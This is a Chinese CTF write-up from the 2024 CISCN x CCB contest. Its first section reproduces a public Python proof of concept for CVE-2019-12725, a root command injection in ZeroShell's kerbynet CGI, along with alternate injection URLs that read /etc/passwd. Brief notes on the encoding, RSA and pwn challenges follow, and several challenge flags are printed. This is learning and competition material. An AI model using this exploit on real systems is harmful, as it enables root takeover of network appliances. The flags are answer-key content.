https://www.a1natas.com/2024-CISCNxCCB/
感觉这次出 cython 真的出到我的盲区了,这次得认真复盘一下,看看分析大件复杂的情况(和编译器斗争)该怎么逆向。然后把这个流量分析和安全漏洞检测这些学一学
zeroshell_1
上网搜索根据 zeroshell 的漏洞
# CVE-2019-12725 - ZeroShell 3.9.0 and below Remote Command Execution as Root (PoC)
# Discovered by: Juan Manuel Fernandez (@TheXC3LL)
import requests
import sys
target = "http://x.x.x.x"
payload = "/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id"
poc = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a" + payload + "%0a'"
# Vuln too: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type='%0acat /etc/passwd%0a'
# And: /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat /etc/passwd%0a'&PW=
# It the same vuln that https://www.exploit-db.com/exploits/41040 but bypassing the fix using %0a
req = requests.get(target + poc)
print req.text[:req.text.rindex("<html>") / 2]
定位到流量中的字段
cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type
查看 referrence 字段,猜测是 base64
ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGM0F9
flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}
zeroshell_2
这样作为 root 权限可以搜索全盘,使用 find 命令可以找到 flag
dump
发现 re.exe 的编码是单映射的,于是将所有的可以显示的字符作为参数传给 re:
./re.exe "123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_abcdefghijklmnopqrstuvwxyz{|}~"
将得到的输出存下,与输入建立一个映射的字典
读取 flag 文件内的字节,将这些字节按照字典翻译出 flag(其中题目要求 00 映射为 4)
脚本如下:
得到:flag{MTczMDc4MzQ2Ng==}
rasnd
- 枚举 x1,x2,两个式子相减消去 p,得到一个
mod q==0
的式子,然后和 n 取 gcd 即可
- 注意到 pow(a,n - p - q,n) = pow(a,-1,n) 即可
anote
操作内容
使用 IDA Pro 获取本题反编译信息,使用 pwntool 内的 checksec 等小工具检查可执行文件的安全检查措施
编写 python 脚本, 结合容器地址获取 flag
flag 值
flag{94d133e5-3c50-4ed5-9eed-6e855172135b}